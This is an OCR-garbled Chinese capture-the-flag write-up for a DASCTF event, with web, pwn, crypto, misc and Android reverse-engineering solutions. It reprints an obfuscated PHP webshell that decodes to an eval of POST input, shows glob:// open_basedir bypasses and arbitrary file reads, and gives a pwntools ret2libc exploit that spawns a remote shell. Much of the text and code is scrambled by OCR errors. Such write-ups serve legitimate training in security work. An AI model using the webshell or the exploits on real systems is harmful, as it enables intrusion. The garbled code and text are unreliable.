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W Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz e a X
Burp Intruder Repeater Window Help

[ Target l Pr ] Spider IScanner I Intruder i Repeater | Sequencer ] Decoder ] Comparer ] Extender TPrqect options '[ User options I Alert J

1 il

| Ge | v v Target: http://1.13.174.10:20003 | & | ?J
Request

Raw I Headers ] Hex 1 | Raw I Headers ] Hex ]
GET HTTP/1.1 A HTTP/1.1 200 OK A
Host: 1.13. 174, 10:20003 " Date: Sun, 24 Oct 2021 06:01:38 GMT r
Pragma: no-cache Server: Apache/2 4. 38 (Debian)

Cache-Control : no-cache
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4; x64) AppleWebKit/537. 36
(KHTML, |ike Gecko) Chrome/94.0.4606.81 Safari/537. 36
Accept:

text/html, app| ication/xhtm|+xml, application/xml;q=0.9, image/avif, image/we
bp. image/apng. */*;q=0. B, app| ication/signed-exchange:v=b3;g=0. 9
Accept-Encoding: gzip, deflate

Accept-Language: zh—CN. zh:g=0. 9. en;q=0. 8

Connection: close

hacker’gift

[N

HEFLadminHF, VilH

http://ip:20000/admin
EHEEEEIENEES

http://ip:20000/admin/#/app/index

X-Powered-By: PHP/7.2. 30
aaaaaansasamaaaaasasa_bbbb_cccccceccccecccccccceccecccccccccecccccccccee_fIFffffll| ||| laaaaaaa
anaaggeeggeegg: DASCTF [d637905850fe2464834cd32626526545)

Content-Length: 23
Connection: close
Content=Type: text/html: charset=UTF-8

So, Where is the flag?

% FH 55 0 4admin admin888%&
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AR S

FEEHMERA IR

FEHS M HHMEemDer; Memper_pay<. pNpisz ST
2R fmember/invoice_add.phpiS &8 5

ER M {Fmember/member_wuliu.phpi§ & B3
ERY{fmember/foot.phpiSSEH

EFR M {fmember/member_mobile.phpiF & B
X {#member/member_form.phpi& & &3k
=R Fmember/post.phpi & E
EFXfFindex.phpE & EH

2R ffueditor/php/Uploader.class.phpiS & B 5
¥ ffueditor/php/action_list.phpiS&EH
¥ ffueditor/php/controller.phpiS & &K

F2FF 3 ffueditor/php/action_crawler.phpi§& 8B
2R ¥ ffueditor/php/action_upload.phpE&E 5
2R3 ffapi/index.phpi§ =B
T2 fFapi/notify.phpiS & B
LR Bmedia/door.phpiE2 il R
EE Y {famp.phpigaEET

23X ffpay/alipay/alipay.config.phpiS & E K

2 ¥ ffpay/alipay/alipayapi.phpiF& B3

e X fFpay/alipay/index.phpig & E 5

2R ¥ fFpay/alipay/lib/alipay_core.function.phpiS& &
2R ¥ ffpay/alipay/lib/alipay_md5.function.phpiS & &5
e ffpay/alipay/lib/alipay_notify.class.phpiEaEH
2R3 fFpay/alipay/lib/alipay_submit.class.phpiF & B 5
T2 ffpay/alipay/notify_url.phpi&&EH

2R X ffpay/alipay/return_url.phpiS &85

HRT, &—AEHEKphpftig

/media/door.php 4 %48

<?php

$mt mFsKCleRfU";

$0jj = "IEBleldle";

$hsa = "E9TVFsnd2Vul10p";

$fnx = "Ow=="

$zk = str_replace( “d", **, "sdtdrd_redpdidadcde” );

Sef = $zk( "z", ", "zbazszeb4_zdzeczodze" );

$dva = $zk( "p", ", "pcprpepaptpe_fpupnpcptpipopn” );
$zvm = $dva( ", $ef( $zk( "le", ", $0jj . $mt . $hsa . $fnx ) ) );
$zvm();

e I



"mFsKCleRfU";
"IEBleldle";
"E9TVFsnd2VuJiep";

"Ow==";

str_replace( "d", "", "sdtdrd _redpdldadcde" ); //str_replace
" """, "zbazsze64 zdzeczodze" ); //base64_decode

"", "pcprpepaptpe_fpupnpcptpipopn" ); //create function

( ( "le", "", Y ) ); // @eval ($_POST['wen']);

IS B, FiSwen, 1R HFHEflag

@ ENS

AntSword (B3 EHO A

4 HH 01.13.174.10 01.13.174.10
M 454: /flag
[flag

1 DASCTF{72294d889ac673c08feb2899a45a6699}

AR index.php ] LLESCH:, ERAFiEag?EME, W0k B flagh) B4k hr E

error_reporting(9);
highlight file(_ FILE_);
extract( );

if (file_exists( ))

file get contents( )

Py l6/?path=/flag, &I flag not in here index999.php
P l]index999.php



error_reporting(9);

highlight file(_ FILE_);

ini_set("open_basedir","/var/www/html");

extract( );

if(strstr( ,"*MY))

{
die('noway!");

1
J

function readpath(

{

if (isset( ))
{
try
{
new DirectoryIterator(
echo "This Is files:";
foreach( E ){
echo( __toString().",");
¥
}catch (Exception ){
echo "What Do You Want???";

)i
else{
echo "Hello HACKER~~";

RILE T open_basedir, W2 R BEEE varwww/html T30, F#7EDirectorylteratorn] BL45 & glob Py th s 4T H S 7,
BN TS, TULH?RE

FELinuBIERT, *RRBZANFHR, PRE— AT

B2 Eindex999.phpi H FikflagI i B, 4R J5 Hindex php =L B4

/index999.php?path=glob:///2222222222222222/22222??

}
readpath($path);
This Is files:flaaaag,

x 4l TTE =Ha HilR P 43 HEE AE [z F Lighthouse  Adblock Plus HackBar

B3~ SQL~ XSS~ LFl+ XXE~ Hfh~

L -
)

=

& DnFUrl http://1.13.174.10:20001/index999.php?path=glob:///??7???7???7???772?220?777777

AKIEFHE, 7T LAS R AR
index.php & 2B

/?path=/13f95a7112369fb4/flaaaag



1.13.174.10:2

<?php
error_reporting(0);
highlight_file(__FILE_);
extract($_REQUEST);
if (fle_exists($path))
{
Scontent = file_get_contents($path);
echo $content;
}
elsef
echo "NOT THIS FILE!!!™;
}

DASCTF{1dd4a611ed63a1a3c453f9467cf639af}

misc
misc2-14% 15
XXencode. UUencode. base58

misc2-2E R & — N EEKE A

' 2R

£3zip.zip
& BRRENEEEH png

SR @4(C) TER(S) WEEs(0) Em(N) ﬁEBIJ{H)

ﬁBaTW N @

@5 =

W BEEE IR =5 iy |13 =3 EE] BE | fEmsE T asEsER
|83 zip.zip - ZIP ARSI, BBEA/H 76,166 T
B Fuh EREEAN 2R TECHTEl

CRC32
BE == 76,126 76,138 PNG i 2018/8/11 14)... 9884D78F

g flagTEEREEE. tt * 40 52 N 2021/9/22 10:.... B684F241

BrpngEgE 2 Ja R BICRC32Z i



TEw R —" " el —— ===y h - o o

w1 OREN M =B BB =R @S (B8 | OERs IR o
T @ mROBAEEERA zip - ZIP FETH, BEAIK 76,126 T

XN EEEEAN 2E =5 GRIE] CRC32
I A
= BHHEANTIEE.. 76,126 76,126 PNG 3% 2019/9/11 1:51 9884D78F

BNy, AR R RE TN MZip
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#include<stdio.h>
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k) //#¥IiR{LERE%L

i =0; i < 256; i++) {
_i;
key[i % Len_k];

i =0; i < 256; i++) {

j = (j + s[i] + k[1i]) % 256;
s[i];
s[31;

void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //HInf#%
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i =0, j=0, t =0;
long k = 0;
char tmp;
9; k < Len_D; k++) {
1) % 256;
s[i]) % 256;

[i] + s[J]) % 256;
1 = Data[k] ~ s[t];

unsigned char key[] = "areyouctfer";

unsigned long key len = sizeof(key) - 1;

unsigned char data[] = {0@xBE,0x8D,0xF5,0x67,0x02,0xC6,0x88,0x7B,0x7C,0xA0,0x99,0x74,0xF2,0xBD,0xF7,0xD0,0X5E,0x3
A,@x38,0x5B,0xF4,0XE1,Bx92,0x53,0x44,0x8E ,0XFE,0X7E ,0XA8,0x2D, 0xF1,0x1B,0x02,0x95,0x6D, 0X66 ,0XA6 ,0x8D, @XD5,0x92}
5

rc4_crypt(data, sizeof(data), key, key len);

for (int 1 = @; i < sizeof(data); i++)

{

printf("%c", data[i]);

¥

printf("\n");

¥

B 4 flag




Congratulations on getting flag,the flag is; <
B T, IXHiAE flag78a007fe)<

HSRK 7R 4 TR T flag

it B/ S5H B4 =E 2 WE FE




from pwn import
context.log level 'debug'’
r lambda : p.recv()
rx lambda x: p.recv(x)
ru lambda x: p.recvuntil(x)
rud lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)
sl lambda x: p.sendline(x)
sa lambda x, y: p.sendafter(x, y)
sla lambda x, y: p.sendlineafter(x, y)
close lambda : p.close()
debug lambda : gdb.attach(p)
shell lambda : p.interactive()
# p = process('./pwn')
p remote('1.13.174.10"', '10000")
elf ELF('./pwn")
libc elf.libc
elf.plt['printf']
elf.got['printf']
# gdb.attach(p, 'b *0x4007F5")
# gdb.attach(p, 'b *0x4007DB")
0x0000000000400863
0x0000000000400861
0x000000000040028¢
= 0x4005ca
0x400714
sla('length :',str(-1))
# pl = 'a'*(312-8)+p64(puts_got+6x130)+p64(0x4007DB)+p64(main)
pl 'a'*312+p64(rdi)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(main)
sla('bytes of data!',pl)
ubd(ru("\x7f"')[-6:1.1just(8, '\x00"'))-1ibc.sym[ 'printf"']
base+libc.sym[ 'system' ]
base+libc.search('/bin/sh\x00").next()
success(hex(base))
sla('length :',str(-1))
pl 'a'*312+p64(rdi)+p64(sh)+p6d(ret)+p64(system)
sla('bytes of data!',pl)
shell()

buulF &, KN 48 H K
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from gmpy2 import iroot

import libnum

e ox3

n 62238551978433838001498457736429006991865583728626132139136256391485968857741649418990547571437762934449868,
6345622452861766184713557861383815674762654842146089001674405113821252599435582461592587162139637351313934286056
26773031068644321261445284230749457763679689698230585197310945795260304584991080604702929

cl 18470673360003096191183691750611242216754549048402389570289094683566770108313960316042218167364348237581268
©575389095142687410989330788033710088246782628789557043348703224329521695342998531932006194716597523162472306119
232610211018033794397444557249275490146884605734496362904120178078821

k =0
while 1:

res = iroot(cl+k*n,e) #c+k*n F3X LR BEH3 LI RIA

#print(res)

#res = (mpz(13040004482819713819817340524563023159919305047824600478799740488797710355579494486728991357),
rue)

if(res[1] True):
print(libnum.n2s(int(res[0]))) ##hF7i#
break
k=k+1
#print (DASCTF{aae20c7039a5b479aa8e78a8599a53%¢e} )

re
ez_apk

Fandroid killer{T Frapk3cE, #2232k #t



import androidx.appcompat.widget.Toolbar;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.android.material.snackbar.Snackbar;

public class Mainfctivity
extends AppCompatActivity
a/{

private String cipher;

private boolean checkcin(String paramString)
= i
byte[] array0fByte = getString(2131623973).getBytes();
paramString = paramString.toCharArray();
char[] array0fChar = new char[paramString.length];
= for (int i = @; i < paramString.length; i++) {
if ((paramString[i] != '_') && (paramString[i] != '{') && (paramString[i] != '}'))

S if ((paramString[i] < 'a') || (paramString[i] > 'z')) {
break;

H
array0fChar[i] = ((char){char){(array0fByte[(i % array0fByte.length)] - 97 + paramString[i] - 97) % 26 + 97));
H

else

array0fChar[i] = ((char)paramString[i]);
H
H
paramString = new String(array0fChar);
return this.cipher.equals(paramString);
H

protected void onCreate(Bundle paramBundle)

I

public boolean onCreateOptionsMenu{Menu paramMenu)
+ 1

protected void onDestroy()

I

public boolean onOptionsItemSelected(Menultem paramMenuItem)

I

protected void onResume()

I

protected void onStart()
o i
super.onStart();
String str = getString(2131623969);
byte[] array0fByte = str.getBytes();
- for (int i = @; 1 < str.length(); i++) {
array0OfByte[i] = ((byte)(byte)(arrayOfByte[i] ~ 1));
H
this.cipher = new String(arrayOfByte);

fEres\value\string.xml B 3% L& Flcipherfilkey, key# F T In% iByte ¥ 4H

¥ mipmap-xoahdpi

values

# attrsaml name="abc

* bools.xml name="abc men

- -
* colors.xml name="abc |

[ |
L e
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o
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1
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= dimensxml

14 nter</string>
=) drawablesxml 18 < ">Function+</string>
s ids.xml = 1€
“ integers.aml 17 name="abhc >

name="ab 1">space</str

>Sym+</atri
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= styles.xml
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FAA S B IER i cipher

'fvg\uee7fvkXknxfznQv|gz | \uee7f}c|G~bh{{x|\uee7+VvvrGx"

for i in range(@,len(cipher)):

flag chr(ord(cipher[i:i+1]) i)
print(flag)

it&flag



for i in range(9,len(cipher)):
if ((cipher[i] ' ') and (cipher[i] '{") and (cipher[i] 1')):

if (cipher[i] key[i len(key)]):
flag chr((ord(cipher[i]) ord(key[i len(key)]) 26) 26 + 97)
else:
flag chr((ord(cipher[i]) ord(key[i len(key)])) 26 + 97)
else:
flag cipher[i]
print(flag)

2

D:\python\python.exe D:/exe/2.py
b'DASCTF{aae20c703%abb479aa8e78a859%9a53%e}"’

Process finished with exit code 0

DASCTF{aae20c7039a5b479aa8e78a8599a539¢}
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